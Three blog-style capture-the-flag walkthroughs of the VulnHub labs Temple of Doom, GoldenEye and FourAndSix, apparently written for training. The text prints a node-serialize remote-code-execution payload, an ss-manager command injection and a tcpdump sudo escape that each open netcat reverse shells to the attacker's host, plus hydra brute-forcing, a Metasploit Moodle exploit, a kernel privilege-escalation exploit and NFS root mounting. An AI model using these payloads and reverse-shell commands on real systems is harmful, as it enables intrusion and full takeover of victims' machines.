Hack the Temple of Doom (CTF Challenge)

Temple of Doom is a new CTF challenge vm on vulnhub made by 0katz. You can download it from here. The aim of this lab is to capture the flag in root directory of the system. Inspired from the Indiana Jones movie Temple of Doom, the level of this lab is intermediate.

Steps Involved

·         Port scanning

·         Burp intercept to capture cookies.

·         Cookie processing for node serialize RCE vulnerability.

·         Getting the current user by RCE.

·         Getting a netcat shell for current user.

·         Discovering ss-manager being run as root.

·         Exploiting command execution vulnerability on ss-manager to get a netcat shell

·         Shell crafting from tcpdump and sudo

·         Getting a netcat shell as root.

·         Grabbing the flag.

Let’s get started

First and foremost, we scanned the IP address with the most popular scanning tool called nmap. It discovered all the ports open on the victim’s system.

nmap –A 192.168.1.130

Hence, we observed that port 666 is hosting a node.js express framework so there must definitely be a webpage at port 666. We tried to open the URL on the browser and obtained the following result.

We also opened the source code behind the page but nothing seemed to impress us. So, it was time to capture the page’s request using Burp Suite. Burp Suite acted as a proxy and revealed the activity going behind the front end.

We got a cookie which was double encoded. It was a Base64 + URL encoding (because we observed “%3D” in the end of the cookie which is nothing but a URL encoding).

So, we sent this request to the repeater and then decoded the cookie using these keyboard shortcuts:

CTRL+SHIFT+U (to decode URL)

CTRL+SHIFT+B (to decode base64)

We observed the username and some token details in the cookie. But here was an addon in the information, when we refreshed the page again, it gave us an error like:

So, it gave us a hint to look over at the cookie we just decoded. We observed that there was a missing quotation mark before Friday. Hence, we fixed the quotation mark first.

Then we encoded the cookie again to replicate the format of the cookie that we got before with the keyboard shortcuts:

CTRL+B (To encode in base64)

CTRL+U (to encode in URL)

And then we forwarded it to observe the following output:

We inferred from the response of repeater that the page will output the username provided in the cookie.

We looked at the cookie again, it was of the format:

{"username": “”, “csrftoken……..}

We removed the rest of the token details first to check for any errors.

We then encoded it and sent a request to the server and checked its response in repeater.

It seemed to be working even without Token details. Then we edited the username with a custom input. Example:  {“username”:“Harshit” }

Repeating the process of encoding it and sending it to the repeater yielded the following result to us.

Hence, we finally established that node-serialize was used. (You can read more about node-serialize here ).

What serialize does is that it determines, which data of the user object should be stored in the session. The user id (you provide as the second argument of the function) is saved in the session and is later used to retrieve the whole object via the unserialize function.

Which turned out to be vulnerable! Refer to this article to read about how node-serialize is vulnerable to Remote Code Execution!

Hence, we used the shell provided to us by Ajin Abraham (on his blog) we modified the username argument with the shell.

The shell:

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}

Explanation of the shell:

_$$ND_FUNC$$_function() : Executes a function locally.

child_process is a module in node.js that spawns child processes in a manner similar to popen(3).

child_process.exec () method: This method runs a command in a console and buffers the output.

It specifies string Shell to execute the command with ( Defafult: '/bin/sh' on UNIX)

So, the shell we made told us the current user on Linux system. We encoded it and forwarded it.

Hence, the current user was nodeadmin.

We then executed the command ls –lart

Encoded it and forwarded it and the following output was observed:

After establishing this much information, we ran a reverse netcat shell command.

Then we encoded it again and forwarded the request. Side by side, we activated a listener on kali and BOOM! We got a connection.

id

It showed us the current user was nodeadmin.

We then tried to spawn a TTY shell using python utility in victim’s machine.

python –c ‘import pty;pty.spawn(“/bin/bash”)’

Which gave us a teletype!

cd /home

ls

cd fireman

Permission Denied!

We also observed that nodeadmin doesn’t have a proper access to the folder fireman. Since, nodeadmin is not the root, fireman directly or indirectly could give us the root.

Let us see if any process is run by fireman as root or not

ps aux | grep fireman

We observed that ss-manager is run by fireman as root. After googling a little, we found that ss-manager was vulnerable to remote code execution (refer here).

ss-manager is short for Shadowsocks.

Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded devices
and low-end boxes. The ss-manager is meant to control shadowsocks servers
for multiple users, it spawns new servers if needed.

Hence, we’ll use Shadowsocks with netcat command execution by:

nc –u 127.0.0.1 8839

add: {“server_port":8003, "password":"test", "method":"||nc –e /bin/sh 192.168.1.106 4444 ||"}

Side by side, we activated a netcat listener and obtained a shell.

Then, we spawned a teletype(TTY) using python again and then we checked for the sudoers list using:

id

python –c ‘import pty;pty.spawn(“/bin/bash”)’

sudo –l

We observed that tcpdump is present which could also be used for remote code execution!

To execute a shell, we moved to the directory /tmp since any user can read, write or execute files in this directory.

cd /tmp

echo “nc –e /bin/bash 192.168.1.106 8888” > shell

chmod 777 shell

sudo tcpdump –ln –I eth0 –w /dev/null –W 1 –G 1 –z /tmp/shell –Z root

The above commands changed the directory to tmp, created a file called shell with a reverse netcat shell, changed the permission of the file of that file to RWX and finally used sudo and tcp dump for remote code execution!

Side by side we setup a netcat listener:

nc –lvp 8888

Again, we spawned a teletype using python:

python –c ‘import pty;pty.spawn(“/bin/bash”)’

BOOM! We have the root access!

In the end, we found the flag in the root directory!

cd /root

ls

cat flag.txt

CONGRATS! You too are a soldier now!

Hack the Golden Eye:1 (CTF Challenge)

Welcome to another boot2root CTF challenge “Golden Eye” uploaded by Creosote on vulnhub. As, there is a theme, and you will need to snag the flag in order to complete the challenge and you can download it from: https://www.vulnhub.com/entry/goldeneye-1,240/

This lab was very confusing to even begin with due to the lack of description by author, it has a good variety of techniques needed to get root - no exploit development/buffer overflows. So, on the basis of our experience and knowledge, we have made progress in solving the lab.

Level: Intermediate

Penetrating Methodologies:

§  Network scanning (Nmap)

§  Surfing HTTP web services

§  Fetched Encoded password

§  Decoding (Burp suite)

§  Brute-Force (Hydra)

§  Connecting to pop3 (Netcat)

§  Extracting password

§  Adding domain Name (/etc/host)

§  Exploring Domain Name over browser

§  Brute-force (Hydra)

§  Login to Server

§  Exploiting Moodle (Metasploit)

§  Kernel post Exploit (overlayfs)

§  Capture the flag

Let’s start

First and foremost we’ll scan the IP address with nmap. In my case, the IP address was 192.168.1.140.

nmap  -p- -A 192.168.1.140 --open

Since port 80 was opened; so I explored target IP in the web browser. Here we got a little clue for login page /sev-home/ as you can see in the image.

After that we thought to check it’s the source code which lead us to another clue to move ahead. Here we clicked on the link terminal.js as shown in the image.

The terminal.js put-up HTML code in front us. Inside this html code I read the given comment captured hint for two usernames (Boris, Natalya) and a password which was encoded as shown in the below image.

We copied the above encoded text and use brup decoder for decoding HTML encoded text into plain text and obtain “InvincibleHack3r” password.

From the earlier clue of navigating to /sev-home/ to login. We browsed 192.168.1.140/sev-home/ in the browser and we got a clue that it has POP3 service as shown in the image.

Earlier we had enumerated the port 55006 and 55007 was open for unknown service thus we used nmap version scan for them and found ssl/pop3 for 55006 and pop3 for 55007 along their version.

So after getting two usernames we applied brute-force for each users attack with help of following command:

hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3

We got the password: secret1 for username boris as shown in the image.

Similarly with user natalya on port 55007 by using command:

hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3.

We got the password: bird for username natalya as shown in the image.

Using Netcat command we have logged in with the username: boris and password: secret1! .This gave us three messages as shown in the image.

Now reading all of the three messages, the clues given in the messages were of no use and are just made to confuse you, as it has wasted our time to make a clue out of it.

Similarly using Netcat command we have logged in with the username: natalya and password: bird. This gave us two messages as shown in the image.

nc 192.168.1.140 55007

After opening all the messages, we saw some clues like username and password, domain name along with a directory name of the domain.

Username: xenia

Password: RCP90rulez!

Domain name: /severnaya-station.com/

Server directory: /gnocertdir

From this point we thought of the adding the servers IP along the domain name into linux /etc/hosts. File.

As you can see in the image we have added the domain named along with servers IP inside /etc/host file in our local machine and saved it.

Next we thought of browsing /gncertdir along with the Domain name.
http://severnaya-station.com/gnocertdir

Ohhh!!!  It was GoldenEye welcome page which was designed with in Moodle CMS, this can be taken as a hint for further use.

Now on further exploring the tabs on the page, inside message box we opened the recent found conversation between Xenia and Doak (another new user).

Then again use hydra for fetching password for doak with help of following command

hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3

We got the password: goat for username doak as shown in the image.

Using Netcat command we have logged in with the username: doak and password: goat .This gave us a message. Now futher reading the message, we acquired a username and password.

Username: dr_doak

Password: 4England!

Now Logging in with the acquired username: dr_doak and password: 4England! into the domains login page as shown in the image. On exploring the all tabs in the navigation section of the page, we saw a s3cret.txt file in my private files.

 So we download s3cret.txt and open it with help of cat command. It gave me the path for jpg image. 

We have downloaded the image file and opened it where we saw an encoded line into base64 format, it made us curious to decode it.

wget http://severnaya-station.com/ /dir007key/for-007.jpg

string for-007.jpg

echo {base64 encode text} | base64 -d

And found xWinter1995x! as plain text which could be any password.

Now further exploring the website we have logged into lead us to TinyMCE HTML editor inside the plugins and text editors tab. Here we have selected Google spell as a spell engine and saved the changes. But it didn’t work here, so I took help of Google.

After searching for the Moodle Exploit, we found an exploit 29324, here we saw that spell engine selected for tiny MCE is PSpellShell as shown in the image. Here we have also got a clue of a new Username: admin.

So now we have changed the Spell engine to PSpellShell and saved the changes made.

Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spellchecking requests. This module also allows an attacker to leverage another privilege escalation vuln.

use exploit/multi/http/moodle_cmd_exec

msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com

msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir

msf exploit(moodle_cmd_exec) > set username admin

msf exploit(moodle_cmd_exec) > set password xWinter1995x!

Booom!!! We successfully got command shell session 1.

As we love meterpreter session, so I upgrade it into meterpreter shell.

session -u 1

Then with help of sysinfo we enumerate its kernel, here we focused on Linux version which is 3.13 and if you will search in Google then you find post exploit for  Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation

So we search kernel exploit for linux 3.13 and found exploit 37292 inside kali.

searchsploit linux 3.13

 Then with help of gcc we compile it as shell inside /root direcrtoy.

Then upload the compiled shell file into victim’s machine via meterpreter. Then use python one-liner to access proper terminal and run following command.

python –c 'import pty;pty.spawn("/bin/bash")'

chmod 777 shell

./shell

Unfortunately!! Got error gcc not found.

We saw a message after accessing it that gcc is not currently installed. So to solve this issue we thought some alternative program to gcc and found cc as alternative of it.
By making changes into the original file: 37292.c, we replace gcc to cc as shown in the image.

We have successfully compiled the exploit using cc command:.

cc 37292.c -o raj

Now by uploading the shell into the root directory. By giving all the permissions and we have easily access it without any error message.

upload /root/raj

chmod 777 raj

./raj

Yuppiee!! We got root access successfully!! 

Now let’s finish this task by capturing flag.txt form inside /root directory. 

Hacking the FourAndSix (CTF Challenge)

Hacking the FourAndSix (CTF Challenge)

FourAndSix is a CTF challenge uploaded by Fred on vulnhub. You can download it from here.

The aim of this lab is to capture a flag in the root directory.

This lab was very confusing to even begin with due to the lack of description by author. So, on the basis of our experience, we have progressed in the lab. 

Steps involved:

1.      Port scanning and discovery of ports.

2.      Discovery of shared folder (misconfigured nfs).

3.      Mounting a directory to see the contents in the shared folder.

4.      Mounting and checking the root directory.

5.      Capturing the flag.

Let’s get started then!

First and foremost we’ll scan the IP address with nmap. In my case, the IP address was: 192.168.1.105.

nmap –A 192.168.1.105

We established from the scan that there is an nfs service running.

Network File System (NFS): Network File System permits a user on a client machine to mount the shared files or directories over a network. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP port 2049 for sharing any files/directories over a network.

Let us check the people having access to the shared folder.

showmount –e 192.168.1.105

We see that everyone has access to the shared folder.

Now for the sake of checking what is in the shared folder, we’ll create a directory in the /tmp folder to mount contents of the shared folder.

cd /tmp

mkdir raj

mount –t nfs 192.168.1.105:/shared  /tmp/raj

cd raj

ls

We have received an image file in our new directory.

Let’s try and mount this image file to see the contents in it.

mkdir usbstick

mount USB-stick.img usbstick

cd usbstick/

ls –la

But we obtained nothing useful at all.

Let’s check and see if the root directory is shareable or not.

mkdir main

mount 192.168.1.105:/ main

cd main

ls –la

Yes! It indeed is shareable.

Let’s move in the root directory now.

cd root

ls –la

We see a text file called proof.txt!

cat proof.txt

Voila! We have obtained the flag! Happy hacking!